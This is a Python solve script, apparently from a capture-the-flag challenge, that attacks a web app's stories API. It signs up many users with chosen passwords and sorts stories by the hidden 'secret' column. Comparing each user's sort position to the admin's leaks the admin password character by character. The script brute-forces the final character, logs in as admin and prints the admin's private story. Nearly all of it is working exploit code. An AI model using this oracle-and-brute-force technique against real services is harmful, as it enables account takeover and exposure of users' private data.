Solve script:
import secrets
import sys
import requests
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
base = base.rstrip("/")
session = requests.Session()
chars = "0123456789abcdef"
def fix_cookie(response):
cookie = response.cookies.get("__Host-session")
# requests doesn't like __Host cookies over plain http
if cookie and base.startswith("http://"):
session.cookies.clear()
session.cookies.set("__Host-session", cookie)
def make_user(username, password):
r = session.post(
base + "/api/signup",
json={
"name": username,
"password": password
}
)
r.raise_for_status()
fix_cookie(r)
r = session.post(
base + "/api/stories",
json={
"story": username,
"visibility": "public",
"minutes": 60
}
)
r.raise_for_status()
if __name__ == "__main__":
known = ""
random_prefix = "x" + secrets.token_hex(3)
# get the first 15 chars based on where our users sort compared to admin
while len(known) < 15:
users = {}
for char in chars:
password = known + char
username = random_prefix + password
make_user(username, password)
users[username] = char
r = session.get(
base + "/api/stories",
params={"column": "secret", "order": "ASC"}
)
rows = r.json()
admin_pos = None
positions = {}
for i, row in enumerate(rows):
positions[row["author"]] = i
if (
row.get("author") == "admin"
and row.get("visibility") == "public"
):
admin_pos = i
if admin_pos is None:
print("admin story disappeared?")
sys.exit(1)
closest = None
for username in users:
if positions[username] < admin_pos:
if closest is None or positions[username] > positions[closest]:
closest = username
if closest is None:
print("couldn't figure out next character")
sys.exit(1)
known += users[closest]
print(known)
# only one character left, just brute force it
for char in chars:
password = known + char
r = session.post(
base + "/api/login",
json={
"name": "admin",
"password": password
}
)
if r.ok:
known = password
fix_cookie(r)
break
else:
print("couldn't log in")
sys.exit(1)
print("admin password:", known)
rows = session.get(base + "/api/stories").json()
for row in rows:
if (
row.get("author") == "admin"
and row.get("visibility") == "close_friends"
):
print(row["story"])
sys.exit()
print("couldn't find admin story")